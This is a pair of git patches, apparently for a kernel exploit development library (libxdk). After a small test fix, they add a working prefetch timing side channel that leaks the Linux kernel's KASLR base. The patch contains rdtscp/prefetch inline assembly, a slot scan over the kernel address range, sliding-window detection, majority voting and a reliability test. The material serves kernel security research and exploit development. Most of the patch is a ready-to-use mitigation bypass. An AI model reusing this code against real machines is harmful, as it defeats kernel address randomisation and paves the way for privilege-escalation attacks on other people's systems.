From cbddfd4281a1aca8fb42749042f2c6182892d3d0 Mon Sep 17 00:00:00 2001 From: Gary Yao Date: Wed, 26 Nov 2025 15:19:14 +0100 Subject: [PATCH 1/2] libxdk: avoid throwing exception pointer --- libxdk/test/tests/UtilsTests.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/libxdk/test/tests/UtilsTests.h b/libxdk/test/tests/UtilsTests.h index c62f813b..3a161508 100644 --- a/libxdk/test/tests/UtilsTests.h +++ b/libxdk/test/tests/UtilsTests.h @@ -53,7 +53,7 @@ class UtilsTests: public TestSuite { TEST_METHOD(pinsToInvalidCpuThrows, "pins to CPU -1 throws") { try { pin_cpu(-1); - throw new ExpKitError("pin_cpu(-1) did not throw an exception"); + throw ExpKitError("pin_cpu(-1) did not throw an exception"); } catch(const errno_error &e) { ASSERT_EQ("sched_setaffinity failed: Invalid argument", e.what()); } From fb043a8d7e49bd346b21538c38b5839bcdd723e9 Mon Sep 17 00:00:00 2001 From: Gary Yao Date: Thu, 27 Nov 2025 16:12:51 +0100 Subject: [PATCH 2/2] libxdk: implement prefetch KASLR leak --- libxdk/include/xdk/util/pwn_utils.h | 27 +++- libxdk/test/main.cpp | 2 + libxdk/test/tests/UtilsRuntimeTests.h | 45 +++++++ libxdk/util/pwn_utils.cpp | 171 ++++++++++++++++++++++++++ 4 files changed, 244 insertions(+), 1 deletion(-) create mode 100644 libxdk/test/tests/UtilsRuntimeTests.h diff --git a/libxdk/include/xdk/util/pwn_utils.h b/libxdk/include/xdk/util/pwn_utils.h index fe7fe825..ef88fe80 100644 --- a/libxdk/include/xdk/util/pwn_utils.h +++ b/libxdk/include/xdk/util/pwn_utils.h @@ -57,4 +57,29 @@ uint64_t check_heap_ptr(uint64_t heap_leak); * @param cpu The CPU the calling thread should be pinned to. * @throws errno_error if the operation fails */ -void pin_cpu(int cpu); \ No newline at end of file +void pin_cpu(int cpu); + +/** + * @ingroup util_classes + * @brief Leaks the KASLR base address using a prefetch side-channel. + * + * This function determines the kernel base address by measuring the execution + * time of prefetch instructions across all possible KASLR slots. It uses a + * "Windowed Max Absolute Difference" strategy, which detects the kernel image + * location by sliding a window across the timing data to find the region that + * maximizes the timing difference compared to the median. To ensure + * reliability, it runs multiple independent scans and applies a majority voting + * algorithm. + * + * @param window_size The size of the sliding window used to identify the region + * containing the kernel image. This should match the number of pages the kernel + * occupies in memory. + * @param samples The number of prefetch timing measurements to collect for + * each candidate KASLR slot during a single trial. + * @param trials The number of memory scans to perform. The final result is + * selected via a majority vote across these trials. + * @return The kernel base address. + * @throws ExpKitError if the address could not be leaked reliably. + */ +uint64_t leak_kaslr_base(uint64_t window_size, int samples = 100, + int trials = 7); \ No newline at end of file diff --git a/libxdk/test/main.cpp b/libxdk/test/main.cpp index 3e4262b3..a893926b 100644 --- a/libxdk/test/main.cpp +++ b/libxdk/test/main.cpp @@ -19,6 +19,7 @@ #include "test/TestRunner.h" #include "test/logging/TapLogger.h" #include "test/tests/TargetDbTests.h" +#include "test/tests/UtilsRuntimeTests.h" #include "test/tests/UtilsTests.h" #include "test/tests/XdkDeviceTests.h" #include "test/tests/RopActionTests.h" @@ -41,6 +42,7 @@ class Main { public: Main(int argc, const char* argv[]): args_(argc, argv) { runner_.Add(new TargetDbTests()); + runner_.Add(new UtilsRuntimeTests()); runner_.Add(new UtilsTests()); runner_.Add(new XdkDeviceTests()); runner_.Add(new SymbolsTest()); diff --git a/libxdk/test/tests/UtilsRuntimeTests.h b/libxdk/test/tests/UtilsRuntimeTests.h new file mode 100644 index 00000000..2b214251 --- /dev/null +++ b/libxdk/test/tests/UtilsRuntimeTests.h @@ -0,0 +1,45 @@ +/* + * Copyright 2026 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include + +#include "test/TestSuite.h" +#include "test/TestUtils.h" + +class UtilsRuntimeTests : public TestSuite { + XdkDevice *xdk_; + +public: + UtilsRuntimeTests() : TestSuite("UtilsRuntimeTests", "pwn utils runtime tests") {} + + void init() { xdk_ = &env->GetXdkDevice(); } + + TEST_METHOD(leaksKaslrBase, "leaks KASLR base") { + uint64_t num_pages = env->GetTarget().GetNumPages(); + uint64_t expected = xdk_->KaslrLeak(); + int wrong = 0; + for (int i = 0; i < 100; i++) { + uint64_t actual = leak_kaslr_base(num_pages, /* samples = */ 100, /* trials = */ 3); + if (actual != expected) { + wrong++; + } + } + ASSERT_MINMAX(0, 2, wrong); + } +}; diff --git a/libxdk/util/pwn_utils.cpp b/libxdk/util/pwn_utils.cpp index 49f9fb08..f49c8bf4 100644 --- a/libxdk/util/pwn_utils.cpp +++ b/libxdk/util/pwn_utils.cpp @@ -17,6 +17,12 @@ #include #include +#include +#include +#include +#include +#include + bool is_kaslr_base(uint64_t kbase_addr) { if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) return false; @@ -41,4 +47,169 @@ void pin_cpu(int cpu) { CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set)) throw errno_error("sched_setaffinity failed"); +} + +// The lowest possible base: 0xFFFFFFFF80000000 + CONFIG_PHYSICAL_START +const uint64_t KASLR_START = 0xFFFFFFFF81000000; + +// The highest possible base. +const uint64_t KASLR_END = KASLR_START + 0x40000000; + +// The KASLR slot size; equal to CONFIG_PHYSICAL_ALIGN +const uint64_t KASLR_SLOT_SIZE = 0x200000; + +uint64_t compute_median(std::vector v) { + assert(!v.empty() && "compute_median received an empty vector"); + size_t n = v.size() / 2; + nth_element(v.begin(), v.begin() + n, v.end()); + return v[n]; +} + +uint64_t abs_diff(uint64_t a, uint64_t b) { return (a > b) ? (a - b) : (b - a); } + +std::optional try_find_edge(const std::vector &timings, uint64_t window_size) { + if (timings.size() < window_size) { + return std::nullopt; + } + + // The median timing represents the timing of an unmapped page because there are by + // far more unmapped pages than mapped pages. The window of pages that maximizes the sum of the + // absolute differences between each page's timing and the median timing is the window that + // contains the KASLR base address. + uint64_t median = compute_median(timings); + + uint64_t current_sum_diff = 0; + for (size_t k = 0; k < window_size; ++k) { + current_sum_diff += abs_diff(timings[k], median); + } + + uint64_t max_sum_diff = current_sum_diff; + std::optional best_slot = 0; + + for (size_t i = 1; i <= timings.size() - window_size; ++i) { + current_sum_diff -= abs_diff(timings[i - 1], median); + current_sum_diff += abs_diff(timings[i + window_size - 1], median); + + if (current_sum_diff > max_sum_diff) { + max_sum_diff = current_sum_diff; + best_slot = i; + } + } + + if (best_slot.has_value()) { + return best_slot; + } + return std::nullopt; +} + +uint64_t slot_to_addr(size_t slot) { return KASLR_START + (slot * KASLR_SLOT_SIZE); } + +inline __attribute__((always_inline)) uint64_t rdtsc_begin() { + uint64_t a, d; + asm volatile("mfence\n\t" + "rdtscp\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "xor %%rax, %%rax\n\t" + "lfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +inline __attribute__((always_inline)) uint64_t rdtsc_end() { + uint64_t a, d; + asm volatile("xor %%rax, %%rax\n\t" + "lfence\n\t" + "rdtscp\n\t" + "mov %%rdx, %0\n\t" + "mov %%rax, %1\n\t" + "mfence\n\t" + : "=r"(d), "=r"(a) + : + : "%rax", "%rbx", "%rcx", "%rdx"); + a = (d << 32) | a; + return a; +} + +inline __attribute__((always_inline)) void prefetch(uint64_t addr) { + asm volatile("prefetchnta (%0)\n\t" + "prefetcht2 (%0)\n\t" + : + : "r"(addr)); +} + +size_t sidechannel(uint64_t addr) { + size_t time = rdtsc_begin(); + prefetch(addr); + size_t delta = rdtsc_end() - time; + return delta; +} + +std::optional try_leak_kaslr_base(uint64_t window_size, int samples) { + size_t slots = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE; + std::vector timings(slots, std::numeric_limits::max()); + + for (int i = 0; i < samples; i++) { + for (size_t slot = 0; slot < slots; slot++) { + uint64_t addr = slot_to_addr(slot); + uint64_t timing = sidechannel(addr); + if (timing < timings[slot]) { + timings[slot] = timing; + } + } + } + + std::optional slot = try_find_edge(timings, window_size); + if (slot.has_value()) { + return slot_to_addr(*slot); + } + return std::nullopt; +} + +std::optional find_majority(const std::vector> &slots) { + uint64_t candidate = 0; + size_t count = 0; + + for (const auto &slot : slots) { + if (count == 0) { + if (slot.has_value()) { + candidate = slot.value(); + count = 1; + } + } else { + if (slot.has_value() && slot.value() == candidate) { + count++; + } else { + count--; + } + } + } + + size_t actual_count = 0; + for (const auto &slot : slots) { + if (slot.has_value() && slot.value() == candidate) { + actual_count++; + } + } + + if (actual_count > slots.size() / 2) { + return candidate; + } + return std::nullopt; +} + +uint64_t leak_kaslr_base(uint64_t window_size, int samples, int trials) { + std::vector> candidates; + for (int i = 0; i < trials; i++) { + candidates.push_back(try_leak_kaslr_base(window_size, samples)); + } + + std::optional base = find_majority(candidates); + if (!base.has_value()) { + throw ExpKitError("Failed to leak KASLR base"); + } + return *base; } \ No newline at end of file